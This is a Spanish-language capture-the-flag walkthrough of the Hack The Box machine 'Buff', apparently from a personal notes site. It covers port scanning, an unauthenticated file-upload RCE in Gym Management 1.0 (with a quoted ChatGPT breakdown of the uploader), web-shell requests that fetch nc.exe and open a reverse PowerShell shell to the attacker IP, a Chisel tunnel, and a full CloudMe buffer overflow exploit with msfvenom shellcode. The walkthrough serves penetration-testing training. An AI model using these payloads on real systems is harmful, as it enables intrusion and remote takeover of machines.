---
description: https://app.hackthebox.com/machines/Buff
---

# HTB - Buff

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/twGqUQ6AxPdAzfILDFDP/Buff.png" alt=""><figcaption></figcaption></figure>

## Información General

* **Nombre de la Máquina: Buff**
* **IP de la Máquina:**  10.129.2.18&#x20;
* **Sistema Operativo: Windows**
* **Dificultad: Easy**
* **Fecha de Publicación:** 18 Jul 2020



***

### Enumeration

#### Ping para obtener ruta de retorno

Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción `-R` para incluir la ruta de retorno:

```bash
ping -c 1 10.129.2.18 -R
```

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/gnnstl0LcLcj7XVCrysq/image.png" alt=""><figcaption></figcaption></figure>

El valor de TTL (Time To Live) igual a 127 puede ser indicativo de que el sistema operativo de la máquina objetivo es Windows. El TTL es un valor en el campo de los paquetes IP que indica la duración que un paquete puede estar en una red antes de ser descartado. <mark style="color:yellow;">**Windows establece por defecto el valor de TTL de sus paquetes IP en 128**</mark>, que al pasar por un salto en la red se decrementa a 127.

#### **Escaneo de puertos con Nmap**

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones `-p-` para escanear todos los puertos, `--open` para mostrar solo los puertos abiertos, `-sS` para un escaneo de tipo TCP SYN, `--min-rate 5000` para establecer la velocidad mínima de paquetes y `-vvv` para un nivel de verbosidad alto. Además, utilizamos `-n` para desactivar la resolución de DNS, `-Pn` para no realizar el escaneo de ping, y `-oG allPorts` para guardar la salida en un archivo con formato Greppable <mark style="color:yellow;">para luego utilizar nuestra función extractPorts</mark>:

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.2.18 -oG allPorts
</strong>extractPorts allPorts
</code></pre>

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/HYrrQ8D3PD1iEdBtzO5C/image.png" alt=""><figcaption></figcaption></figure>

#### **Escaneo detallado con Nmap**

Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción `-sCV` para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con `-p __PORTS__` (reemplazando `__PORTS__` con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre `targeted`:

```bash
sudo nmap -sCV -p7680,8080 10.129.2.18 -oN targeted
```

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/AQjmNV3qZrFl64khqHbm/image.png" alt=""><figcaption></figcaption></figure>

#### Modificando /etc/hosts

Para añadir la entrada "10.129.2.18 buff.htb" al archivo `/etc/hosts`, puedes usar el siguiente comando en la terminal:

```bash
echo "10.129.2.18 buff.htb" | sudo tee -a /etc/hosts
```

Este comando añade la dirección IP `10.129.2.18` asociada al nombre de host `buff.htb` al archivo `/etc/hosts` de tu sistema.

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/XqHXpe83oECExc7HDFKP/image.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/p7qUQf2j378Z4emlkeuK/image.png" alt=""><figcaption></figcaption></figure>

Lo primero que se me ocurrio fue buscar en Google sobre este software, a cual encuentro un **unauthenticated RCE**.  El cual analizo con ChatGPT para tener un concepto de qué es lo que estoy ejecutando.

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/3S7SnjkR5oEnt8U3yA7z/image.png" alt=""><figcaption></figcaption></figure>

#### Output de ChatGPT&#x20;

{% code overflow="wrap" %}
```markup
¡Hey 3KY! Vamos a desglosar este exploit paso a paso para que veas cómo es posible crear un uploader de shell con Python, especialmente para el CVE-2019-16113 que afecta a Gym Management 1.0 permitiendo ejecución remota de código (RCE) sin autenticación.

Primero, entendamos qué hace este script:

Importaciones y Verificaciones Iniciales: El script comienza importando los módulos necesarios y luego verifica que se haya proporcionado un objetivo como argumento en la línea de comandos. Si no se proporciona, imprime cómo usar el script y sale.

Definición de la Shell: Define una shell PHP muy sencilla que ejecuta comandos pasados a través del parámetro "rce" en la URL. Esta shell permite la ejecución remota de código arbitrario.

Generación de Nombre Aleatorio: Define una función para generar un nombre de archivo aleatorio para la shell que será subida, evitando la detección basada en nombres comunes de shells maliciosas.

Función de Carga (upload): Esta función realiza la carga (upload) propiamente dicha. Construye la ruta de carga utilizando el nombre de archivo aleatorio y luego prepara el archivo a subir como si fuera una imagen PNG (engañando así controles que sólo permitan subir imágenes). El archivo real es la shell PHP disfrazada.

Ejecución de Comandos: Tras la carga exitosa, entra en un bucle que permite al usuario ingresar comandos a ejecutar a través de la shell PHP subida, facilitando así una interacción interactiva con el servidor vulnerable.

Ahora, ¿cómo es posible que cree un uploader con Python? Vamos por partes:

Sesiones HTTP con requests: Utiliza el módulo requests de Python, muy potente para realizar peticiones HTTP. Esto incluye la capacidad de enviar archivos y datos en multipart/form-data, lo cual es necesario para subir archivos a un servidor web.

Bypass de Validaciones: Al nombrar el archivo como "shell.php.png" y enviarlo como "image/png", puede burlar validaciones superficiales que solo revisen la extensión del archivo o el tipo MIME para permitir únicamente imágenes. Una vez en el servidor, el archivo puede ser accedido como un script PHP debido a la configuración del servidor que permite ejecutar PHP en archivos con doble extensión o mal configurados.

Interactividad: La capacidad de enviar comandos a través de la shell subida y ver los resultados en tiempo real se logra manteniendo una sesión y realizando peticiones HTTP con los parámetros adecuados.
```
{% endcode %}

### Explotación

Simplemente ejecuto el exploit.py y logro subir una shell a buff.htb:

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/NOIEa6pldQD6KopZkj6p/image.png" alt=""><figcaption></figcaption></figure>

Luego de varios intentos no pude hacer nada con mi uploader, no logré hacer una conexión por nc, (Subiendo el archivo nc.exe y realizando la conexión desde el equipo victima). Por lo que busco en internet otras formas de explotar el unauthenticated RCE., encontrando este script en python: [https://www.exploit-db.com/exploits/48506](https://www.exploit-db.com/exploits/48506)

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/owSUoRkp7HY1BDff9bm5/image.png" alt=""><figcaption></figcaption></figure>

El script sube un archivo llamado kamehameha.php el cual tiene el parametro "telepathy". Realizo un "?telepathy=dir" y lo mando al repeater con Burpsuite. Luego descargo de mi maquina nc.exe con un curl. Y por ultimo realizo la conexión con netcat.

{% code overflow="wrap" %}
```bash
GET /upload/kamehameha.php?telepathy=curl.exe+"http%3a//10.10.14.57%3a8888/nc.exe"+-o+netcat.exe HTTP/1.1

http://10.129.2.18:8080/upload/kamehameha.php?telepathy=nc.exe%20-e%20powershell.exe%2010.10.14.57%206565
```
{% endcode %}

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/pIkAmr4dNtKTIuOl8yHO/image.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/NWDpWv3mYrR2kRAuRSxO/image.png" alt=""><figcaption></figcaption></figure>

#### Extrayendo Información de Conexiones TCP con PowerShell

Una vez que hemos establecido una conexión inversa con la máquina víctima utilizando `nc.exe`, nuestro próximo paso es recopilar más información sobre el sistema objetivo para entender mejor su entorno de red y potencialmente identificar nuevas vías de ataque. Una herramienta extremadamente útil en este proceso es el cmdlet `Get-NetTCPConnection` de PowerShell, que nos permite inspeccionar las conexiones TCP activas y los puertos que están escuchando en la máquina víctima.

#### Comando PowerShell para Información de Conexiones TCP

Para ejecutar este comando, asegúrate de que ya tienes acceso al shell de PowerShell en la máquina víctima. Una vez dentro, puedes utilizar el siguiente comando para filtrar y mostrar las conexiones TCP relevantes:

{% code overflow="wrap" %}
```powershell
Get-NetTCPConnection | Where-Object { $_.LocalAddress -like "*:0" -or $_.LocalPort -eq 0 -or $_.RemoteAddress -like "*:0" -or $_.RemotePort -eq 0 } | Format-Table
```
{% endcode %}

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/FwQcsXRm0whlVSfdphLq/image.png" alt=""><figcaption></figcaption></figure>

Luego realizamos un `tasklist /v`

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/5CliJHiTPc7rpHZWE5AS/image.png" alt=""><figcaption></figcaption></figure>

Puedo identificar que el archivo CloudMe.exe es el mismo que se encuentra en `C:\Users\shaun\Downloads\`

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/xawn6i6dIDT1fpCjp9U2/image.png" alt=""><figcaption></figcaption></figure>

Por lo que busco vulnerabilidades  con `searchsploit cloudme`

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/QLIqOnupN2DdFGOzCARU/image.png" alt=""><figcaption></figcaption></figure>

Y podemos percatarnos que la versión del ejecutable corresponde a la misma que es vulnerable al **Buffer Overflow**.&#x20;

Para explotar la vulnerabilidad de Buffer Overflow en el servicio `cloudme.exe`, primero necesitamos establecer un túnel con **Chisel** para acceder al servicio desde nuestra máquina atacante. Luego, ejecutaremos el exploit desde `windows/remote/48389.py` para lograr la escalada de privilegios.



**Establecer túnel con Chisel:**

```bash
# En la máquina atacante (Kali Linux)
chisel server -p 7777 -reverse
```

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/hBm00EPzmzts79V54jWD/image.png" alt=""><figcaption></figcaption></figure>

<pre class="language-bash"><code class="lang-bash"># En la máquina objetivo (Windows)
<strong>./chisel client 10.10.14.57:7777 R:8888:127.0.0.1:8888
</strong></code></pre>

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/0KVRKCdHgHimisCBcdpG/image.png" alt=""><figcaption></figcaption></figure>

**Modificamos el  Buffer Overflow**

{% code overflow="wrap" %}
```powershell
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.14.57 LPORT=5555 -b '\x00\x0A\x0D' -f python -v payload
```
{% endcode %}

````python
# Exploit Title: CloudMe 1.11.2 - Buffer Overflow (PoC)
# Date: 2020-04-27
# Exploit Author: Andy Bowden
# Vendor Homepage: https://www.cloudme.com/en
# Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Version: CloudMe 1.11.2
# Tested on: Windows 10 x86

#Instructions:
# Start the CloudMe service and run the script.

import socket

target = "127.0.0.1"

padding1   = b"\x90" * 1052
EIP        = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
NOPS       = b"\x90" * 30

payload =  b""
payload += b"\xd9\xc0\xba\x31\x4c\x9e\xdc\xd9\x74\x24\xf4\x5e"
payload += b"\x31\xc9\xb1\x52\x31\x56\x17\x83\xc6\x04\x03\x67"
payload += b"\x5f\x7c\x29\x7b\xb7\x02\xd2\x83\x48\x63\x5a\x66"
payload += b"\x79\xa3\x38\xe3\x2a\x13\x4a\xa1\xc6\xd8\x1e\x51"
payload += b"\x5c\xac\xb6\x56\xd5\x1b\xe1\x59\xe6\x30\xd1\xf8"
payload += b"\x64\x4b\x06\xda\x55\x84\x5b\x1b\x91\xf9\x96\x49"
payload += b"\x4a\x75\x04\x7d\xff\xc3\x95\xf6\xb3\xc2\x9d\xeb"
payload += b"\x04\xe4\x8c\xba\x1f\xbf\x0e\x3d\xf3\xcb\x06\x25"
payload += b"\x10\xf1\xd1\xde\xe2\x8d\xe3\x36\x3b\x6d\x4f\x77"
payload += b"\xf3\x9c\x91\xb0\x34\x7f\xe4\xc8\x46\x02\xff\x0f"
payload += b"\x34\xd8\x8a\x8b\x9e\xab\x2d\x77\x1e\x7f\xab\xfc"
payload += b"\x2c\x34\xbf\x5a\x31\xcb\x6c\xd1\x4d\x40\x93\x35"
payload += b"\xc4\x12\xb0\x91\x8c\xc1\xd9\x80\x68\xa7\xe6\xd2"
payload += b"\xd2\x18\x43\x99\xff\x4d\xfe\xc0\x97\xa2\x33\xfa"
payload += b"\x67\xad\x44\x89\x55\x72\xff\x05\xd6\xfb\xd9\xd2"
payload += b"\x19\xd6\x9e\x4c\xe4\xd9\xde\x45\x23\x8d\x8e\xfd"
payload += b"\x82\xae\x44\xfd\x2b\x7b\xca\xad\x83\xd4\xab\x1d"
payload += b"\x64\x85\x43\x77\x6b\xfa\x74\x78\xa1\x93\x1f\x83"
payload += b"\x22\x96\xd5\x85\x8b\xce\xeb\x99\xfe\xbd\x65\x7f"
payload += b"\x6a\xd2\x23\x28\x03\x4b\x6e\xa2\xb2\x94\xa4\xcf"
payload += b"\xf5\x1f\x4b\x30\xbb\xd7\x26\x22\x2c\x18\x7d\x18"
payload += b"\xfb\x27\xab\x34\x67\xb5\x30\xc4\xee\xa6\xee\x93"
payload += b"\xa7\x19\xe7\x71\x5a\x03\x51\x67\xa7\xd5\x9a\x23"
payload += b"\x7c\x26\x24\xaa\xf1\x12\x02\xbc\xcf\x9b\x0e\xe8"
payload += b"\x9f\xcd\xd8\x46\x66\xa4\xaa\x30\x30\x1b\x65\xd4"
payload += b"\xc5\x57\xb6\xa2\xc9\xbd\x40\x4a\x7b\x68\x15\x75"
payload += b"\xb4\xfc\x91\x0e\xa8\x9c\x5e\xc5\x68\xac\x14\x47"
payload += b"\xd8\x25\xf1\x12\x58\x28\x02\xc9\x9f\x55\x81\xfb"
payload += b"\x5f\xa2\x99\x8e\x5a\xee\x1d\x63\x17\x7f\xc8\x83"
payload += b"\x84\x80\xd9"

overrun    = b"C" * (1500 - len(padding1 + NOPS + EIP + payload))       

buf = padding1 + EIP + NOPS + payload + overrun 

try:
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target,8888))
        s.send(buf)
except Exception as e:
        print(sys.exc_value)
```
````

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/oDBrq1TwT18nEFK2QKTe/image.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://content.gitbook.com/content/LGWbtqRCldHo6WEY0xxg/blobs/LtML8VzN7BGQjaKsy7zd/image.png" alt=""><figcaption></figcaption></figure>
